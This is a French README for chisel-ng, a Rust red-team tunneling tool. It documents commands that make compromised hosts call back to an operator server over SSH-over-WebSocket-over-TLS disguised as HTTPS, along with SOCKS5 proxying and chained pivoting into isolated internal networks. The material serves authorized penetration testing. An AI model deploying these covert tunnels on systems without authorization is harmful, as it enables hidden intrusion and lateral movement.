
Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
Une implémentation en Rust de chisel pour les tests de pénétration et les opérations d'équipe rouge. Établit des tunnels inversés via SSH-over-WebSocket-over-TLS, permettant aux opérateurs de pivoter à travers des hôtes compromis tout en se fondant dans le trafic HTTPS normal.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
Les binaires sont générés dans target/release/ : chisel-server, chisel-client, chisel-bind-client
1. Démarrer le serveur (opérateur) :
./chisel-server -p 'secret' -v
2. Exécuter le client (cible) :
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. Créer des tunnels :
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Accéder aux services internes :
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operator | | Target Network |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Pile de protocoles :
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
^
apparaît comme HTTPS
Modes client :
chisel-client) - Se connecte au serveur en sortiechisel-bind-client) - Écoute les connexions entrantes ; le serveur utilise la commande connectOPTIONS:
-l, --listen <ADDR> Adresse d'écoute [default: 0.0.0.0:8443]
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
--cert <FILE> Certificat TLS (PEM)
--key <FILE> Clé privée TLS (PEM)
--generate-psk Générer une PSK aléatoire et quitter
-v, --verbose Sortie verbeuse
OPTIONS:
-s, --server <ADDR> Adresse du serveur (hôte:port)
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
-u, --user <LABEL> Étiquette de session [default: agent]
-k, --insecure Ignorer la vérification TLS
--no-reconnect Désactiver la reconnexion automatique
-i, --interval <SECS> Intervalle de reconnexion [default: 30]
--heartbeat <SECS> Intervalle de pulsation [default: 30]
-v, --verbose Sortie verbeuse
Pour les cibles qui peuvent accepter des connexions entrantes mais pas initier de connexions sortantes :
OPTIONS:
-l, --listen <ADDR> Adresse d'écoute (ex. 0.0.0.0:9000)
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
-u, --user <LABEL> Étiquette de session [default: agent]
-k, --insecure Ignorer la vérification TLS
--heartbeat <SECS> Intervalle de pulsation [default: 30]
-v, --verbose Sortie verbeuse
Menu principal :
sessions Lister les sessions connectées
session <id> Sélectionner une session
connect <ip:port> Se connecter au client bind
disconnect <id> Déconnecter la session (reconnexion automatique)
kill <id> Terminer le processus client
Menu de session :
tunnel <local>:<target_ip>:<target_port> Créer un tunnel
tunnel --local <local>:<target>:<port> Créer un tunnel (localhost uniquement)
tunnel stop <port> Arrêter le tunnel
tunnels Lister les tunnels
socks5 <port> Démarrer le proxy SOCKS5
socks5 stop <port> Arrêter le proxy SOCKS5
ping Mesurer la latence
ps Lister les processus distants
netstat Lister les connexions distantes
Atteindre des réseaux isolés en enchaînant les sessions existantes.
Scénario : L'hôte DMZ peut atteindre l'opérateur. L'hôte interne (10.0.0.50) n'est accessible que depuis la DMZ.
+----------+ +-----------+ +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2 |
| Server | | (DMZ) | | (INTERNAL) |
+----------+ +-----------+ +------------+
Étape 1 - Démarrer le serveur (opérateur) :
./chisel-server -p 'secret' -v
Étape 2 - Exécuter le client inverse (hôte DMZ) :
./chisel-client -s operator.example.com:8443 -p 'secret' -k
Étape 3 - Exécuter le client bind (hôte interne à 10.0.0.50) :
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
Étape 4 - Créer un tunnel et se connecter (CLI serveur) :
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
Lors de la création d'un tunnel (tunnel 8080:192.168.1.100:80) :
Destinations dynamiques via la poignée de main RFC 1928. Retourne des codes d'erreur appropriés pour des résultats de scan de ports précis.
Les builds release sont durcis :
--heartbeat 0Cet outil est destiné uniquement aux tests de sécurité autorisés. Obtenez les autorisations appropriées avant utilisation. Les auteurs ne sont pas responsables d'une mauvaise utilisation.
MIT